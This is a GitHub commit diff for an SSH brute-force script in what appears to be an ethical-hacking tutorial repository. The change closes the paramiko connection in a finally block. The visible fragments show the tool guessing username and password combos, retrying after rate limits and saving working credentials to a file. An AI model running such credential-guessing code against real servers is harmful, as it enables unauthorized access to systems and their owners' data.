Skip to content

Commit ce92525

Browse files
authored
Merge pull request #50 from mwoolweaver/patch-1
close ssh connection when done with it
2 parents 6fd30ed + d4c969c commit ce92525

File tree

1 file changed

+8
-5
lines changed

1 file changed

+8
-5
lines changed

ethical-hacking/bruteforce-ssh/bruteforce_ssh.py

+8-5
Original file line numberDiff line numberDiff line change
@@ -22,19 +22,22 @@ def is_ssh_open(hostname, username, password):
2222
except socket.timeout:
2323
# this is when host is unreachable
2424
print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}")
25-
return False
25+
returning = False
2626
except paramiko.AuthenticationException:
2727
print(f"[!] Invalid credentials for {username}:{password}")
28-
return False
28+
returning = False
2929
except paramiko.SSHException:
3030
print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
3131
# sleep for a minute
3232
time.sleep(60)
33-
return is_ssh_open(hostname, username, password)
33+
returning = is_ssh_open(hostname, username, password)
3434
else:
3535
# connection was established successfully
3636
print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")
37-
return True
37+
returning = True
38+
finally:
39+
client.close()
40+
return returning
3841

3942

4043
if __name__ == "__main__":
@@ -56,4 +59,4 @@ def is_ssh_open(hostname, username, password):
5659
if is_ssh_open(host, user, password):
5760
# if combo is valid, save it to a file
5861
open("credentials.txt", "w").write(f"{user}@{host}:{password}")
59-
break
62+
break

0 commit comments

Comments
 (0)